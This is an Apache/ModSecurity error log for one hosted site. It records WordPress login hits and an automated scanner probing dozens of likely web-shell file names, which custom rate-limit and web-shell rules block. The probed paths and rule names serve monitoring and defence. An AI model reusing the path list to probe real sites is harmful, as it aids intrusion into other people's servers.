[Tue Nov 25 14:17:53.238150 2025] [:error] [pid 28740:tid 28809] [client 148.72.140.6:42204] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-72x72.png"] [unique_id "aSVKEVppQCoYxWW6V0UmQwAAAlI"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:53.650184 2025] [:error] [pid 28842:tid 29021] [client 148.72.140.6:42212] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-60x60.png"] [unique_id "aSVKEdNmoaPf6T4-6C0qNQAAA1M"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:54.063058 2025] [:error] [pid 14168:tid 14182] [client 148.72.140.6:42224] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-57x57.png"] [unique_id "aSVKEvR-ZDU0QEgAIIsbRwAAAMs"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:54.475472 2025] [:error] [pid 28740:tid 28803] [client 148.72.140.6:42230] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/favicon-32x32.png"] [unique_id "aSVKElppQCoYxWW6V0UmRQAAAkw"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:54.891561 2025] [:error] [pid 14076:tid 14087] [client 148.72.140.6:42232] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/favicon-16x16.png"] [unique_id "aSVKEnsB4Gz6Qw-pvBu-lwAAAAY"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:59:17.091071 2025] [:error] [pid 28740:tid 28801] [client 213.160.71.30:47924] [client 213.160.71.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.160.71.30, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSVTxVppQCoYxWW6V0UuDAAAAko"]
[Tue Nov 25 14:59:17.095048 2025] [:error] [pid 28740:tid 28801] [client 213.160.71.30:47924] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 14:59:18.096722 2025] [:error] [pid 14078:tid 14147] [client 213.160.71.30:47930] [client 213.160.71.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.160.71.30, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSVTxtVXYbb0ii_rVoL3cwAAAIo"]
[Tue Nov 25 14:59:18.103380 2025] [:error] [pid 14078:tid 14147] [client 213.160.71.30:47930] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 15:37:42.642209 2025] [:error] [pid 2987:tid 3005] [client 164.90.175.205:56970] [client 164.90.175.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.175.205, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSVcxs-djEt-pTzPxnxiaAAAAVA"]
[Tue Nov 25 15:37:42.646144 2025] [:error] [pid 2987:tid 3005] [client 164.90.175.205:56970] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 17:12:38.429862 2025] [:error] [pid 14077:tid 14112] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/acxx.php
[Tue Nov 25 17:12:38.638739 2025] [:error] [pid 14077:tid 14122] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/dev1s.php
[Tue Nov 25 17:12:38.842756 2025] [:error] [pid 14077:tid 14120] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/ww1.php
[Tue Nov 25 17:12:39.049461 2025] [:error] [pid 14077:tid 14123] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/c4.php
[Tue Nov 25 17:12:39.255888 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/wsx.php
[Tue Nov 25 17:12:40.673299 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/b4.php
[Tue Nov 25 17:12:40.905066 2025] [:error] [pid 14077:tid 14113] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/xenium4.php
[Tue Nov 25 17:12:41.109052 2025] [:error] [pid 14077:tid 14116] [client 172.210.212.26:2040] File does not exist: /usr/local/apache/htdocs/suspended-page/xpw.php
[Tue Nov 25 17:12:42.579910 2025] [:error] [pid 14077:tid 14116] [client 172.210.212.26:2040] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aSVzChG9n7UHEkwDTyhQ4gAAAEY"]
[Tue Nov 25 17:12:45.345817 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:6071] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aSVzDVppQCoYxWW6V0VSxwAAAkg"]
[Tue Nov 25 17:12:57.642165 2025] [:error] [pid 28739:tid 28770] [client 172.210.212.26:1476] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww3.php"] [unique_id "aSVzGRxGpKmlkG4FexRZoQAAAgg"]
[Tue Nov 25 17:12:58.662388 2025] [:error] [pid 14078:tid 14159] [client 172.210.212.26:2772] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww3.php"] [unique_id "aSVzGtVXYbb0ii_rVoIbagAAAJY"]
[Tue Nov 25 17:12:59.354705 2025] [:error] [pid 14077:tid 14132] [client 172.210.212.26:8604] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww3.php"] [unique_id "aSVzGxG9n7UHEkwDTyhQ8gAAAFY"]
[Tue Nov 25 17:13:17.322201 2025] [:error] [pid 14076:tid 14092] [client 172.210.212.26:6387] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aSVzLXsB4Gz6Qw-pvBvxgwAAAAs"]
[Tue Nov 25 17:13:21.119892 2025] [:error] [pid 28739:tid 28764] [client 172.210.212.26:2608] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aSVzMRxGpKmlkG4FexRZpwAAAgI"]
[Tue Nov 25 17:13:22.641022 2025] [:error] [pid 28842:tid 28991] [client 172.210.212.26:1130] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aSVzMtNmoaPf6T4-6C1hjAAAA0E"]
[Tue Nov 25 17:13:24.926122 2025] [:error] [pid 14077:tid 14132] [client 172.210.212.26:1106] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aSVzNBG9n7UHEkwDTyhRDgAAAFY"]
[Tue Nov 25 17:13:29.143953 2025] [:error] [pid 14078:tid 14146] [client 172.210.212.26:1137] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "aSVzOdVXYbb0ii_rVoIbeQAAAIk"]
[Tue Nov 25 17:13:30.161840 2025] [:error] [pid 28842:tid 28993] [client 172.210.212.26:2651] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "aSVzOtNmoaPf6T4-6C1hlwAAA0M"]
[Tue Nov 25 17:13:31.445081 2025] [:error] [pid 28739:tid 28778] [client 172.210.212.26:6576] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "aSVzOxxGpKmlkG4FexRZrQAAAhA"]
[Tue Nov 25 17:13:33.312894 2025] [:error] [pid 14077:tid 14112] [client 172.210.212.26:5760] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "aSVzPRG9n7UHEkwDTyhRFwAAAEI"]
[Tue Nov 25 17:13:34.577003 2025] [:error] [pid 14077:tid 14119] [client 172.210.212.26:3645] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "aSVzPhG9n7UHEkwDTyhRGwAAAEk"]
[Tue Nov 25 17:13:35.950375 2025] [:error] [pid 28740:tid 28796] [client 172.210.212.26:6583] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "aSVzP1ppQCoYxWW6V0VS8gAAAkU"]
[Tue Nov 25 17:13:38.108490 2025] [:error] [pid 2987:tid 3005] [client 172.210.212.26:3608] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "aSVzQs-djEt-pTzPxnx3-AAAAVA"]
[Tue Nov 25 17:13:39.410153 2025] [:error] [pid 14077:tid 14130] [client 172.210.212.26:5761] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "aSVzQxG9n7UHEkwDTyhRIQAAAFQ"]
[Tue Nov 25 17:13:42.137797 2025] [:error] [pid 28842:tid 28999] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/011i.php
[Tue Nov 25 17:13:42.341126 2025] [:error] [pid 28842:tid 28998] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/disaos.php
[Tue Nov 25 17:13:42.622740 2025] [:error] [pid 28842:tid 28996] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/gdn.php
[Tue Nov 25 17:13:42.832896 2025] [:error] [pid 28842:tid 28994] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/ww4.php
[Tue Nov 25 17:13:43.285639 2025] [:error] [pid 28842:tid 29022] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/xc.php
[Tue Nov 25 17:13:43.489320 2025] [:error] [pid 28842:tid 29023] [client 172.210.212.26:3579] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Tue Nov 25 17:13:43.695335 2025] [:error] [pid 28842:tid 29003] [client 172.210.212.26:3579] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nx1.php"] [unique_id "aSVzR9NmoaPf6T4-6C1hoAAAA00"]
[Tue Nov 25 17:13:53.837045 2025] [:error] [pid 28842:tid 28990] [client 172.210.212.26:1564] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nx1.php"] [unique_id "aSVzUdNmoaPf6T4-6C1hsQAAA0A"]
[Tue Nov 25 17:13:55.779187 2025] [:error] [pid 28842:tid 28997] [client 172.210.212.26:6745] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nx1.php"] [unique_id "aSVzU9NmoaPf6T4-6C1htAAAA0c"]
[Tue Nov 25 17:13:56.554411 2025] [:error] [pid 28609:tid 28639] [client 172.210.212.26:10122] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nx1.php"] [unique_id "aSVzVCGGdT-nZJVs3x2i5wAAAZU"]
[Tue Nov 25 17:13:57.593569 2025] [:error] [pid 28739:tid 28762] [client 172.210.212.26:7850] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ii.php"] [unique_id "aSVzVRxGpKmlkG4FexRZvgAAAgA"]
[Tue Nov 25 17:13:59.077440 2025] [:error] [pid 28739:tid 28773] [client 172.210.212.26:10995] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ii.php"] [unique_id "aSVzVxxGpKmlkG4FexRZxwAAAgs"]
[Tue Nov 25 17:14:03.143109 2025] [:error] [pid 14077:tid 14111] [client 172.210.212.26:10949] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ii.php"] [unique_id "aSVzWxG9n7UHEkwDTyhRPgAAAEE"]
[Tue Nov 25 17:14:04.787165 2025] [:error] [pid 14076:tid 14090] [client 172.210.212.26:1063] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ii.php"] [unique_id "aSVzXHsB4Gz6Qw-pvBvxlQAAAAk"]
[Tue Nov 25 17:14:07.080135 2025] [:error] [pid 28739:tid 28762] [client 172.210.212.26:5172] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kr.php"] [unique_id "aSVzXxxGpKmlkG4FexRZ1QAAAgA"]
[Tue Nov 25 17:14:08.617507 2025] [:error] [pid 28740:tid 28806] [client 172.210.212.26:6713] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kr.php"] [unique_id "aSVzYFppQCoYxWW6V0VTIwAAAk8"]
[Tue Nov 25 17:14:14.031145 2025] [:error] [pid 28609:tid 28641] [client 172.210.212.26:10169] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kr.php"] [unique_id "aSVzZiGGdT-nZJVs3x2i-QAAAZc"]
[Tue Nov 25 17:14:17.315737 2025] [:error] [pid 14076:tid 14083] [client 172.210.212.26:6697] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kr.php"] [unique_id "aSVzaXsB4Gz6Qw-pvBvxnQAAAAI"]
[Tue Nov 25 17:14:19.302881 2025] [:error] [pid 28842:tid 28990] [client 172.210.212.26:2595] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/18299.php"] [unique_id "aSVza9NmoaPf6T4-6C1h1wAAA0A"]
[Tue Nov 25 17:14:23.866131 2025] [:error] [pid 28842:tid 28997] [client 172.210.212.26:1909] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/18299.php"] [unique_id "aSVzb9NmoaPf6T4-6C1h3gAAA0c"]
[Tue Nov 25 17:14:36.091882 2025] [:error] [pid 2987:tid 2990] [client 172.210.212.26:10882] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aSVzfM-djEt-pTzPxnx4JQAAAUE"]
[Tue Nov 25 17:14:47.718981 2025] [:error] [pid 28609:tid 28620] [client 172.210.212.26:2904] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aSVzhyGGdT-nZJVs3x2jDAAAAYI"]
[Tue Nov 25 17:14:55.919117 2025] [:error] [pid 28740:tid 28798] [client 172.210.212.26:11165] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "aSVzj1ppQCoYxWW6V0VTTQAAAkc"]
[Tue Nov 25 17:15:01.616116 2025] [:error] [pid 14076:tid 14094] [client 172.210.212.26:1545] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "aSVzlXsB4Gz6Qw-pvBvxtAAAAA0"]
[Tue Nov 25 17:15:04.161257 2025] [:error] [pid 14077:tid 14120] [client 172.210.212.26:6807] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "aSVzmBG9n7UHEkwDTyhRfAAAAEo"]
[Tue Nov 25 17:15:05.373025 2025] [:error] [pid 14076:tid 14104] [client 172.210.212.26:5139] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "aSVzmXsB4Gz6Qw-pvBvxuQAAABc"]
[Tue Nov 25 17:15:10.424562 2025] [:error] [pid 28740:tid 28798] [client 172.210.212.26:10154] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/content-over.php"] [unique_id "aSVznlppQCoYxWW6V0VTXQAAAkc"]
[Tue Nov 25 17:15:13.215069 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:10143] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/content-over.php"] [unique_id "aSVzoVppQCoYxWW6V0VTZAAAAkg"]
[Tue Nov 25 17:15:18.946225 2025] [:error] [pid 28609:tid 28630] [client 172.210.212.26:6919] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/content-over.php"] [unique_id "aSVzpiGGdT-nZJVs3x2jHQAAAYw"]
[Tue Nov 25 17:15:24.774148 2025] [:error] [pid 14077:tid 14113] [client 172.210.212.26:6918] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aSVzrBG9n7UHEkwDTyhRmgAAAEM"]
[Tue Nov 25 17:15:28.863884 2025] [:error] [pid 14168:tid 14178] [client 172.210.212.26:6920] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aSVzsPR-ZDU0QEgAIItF_AAAAMc"]
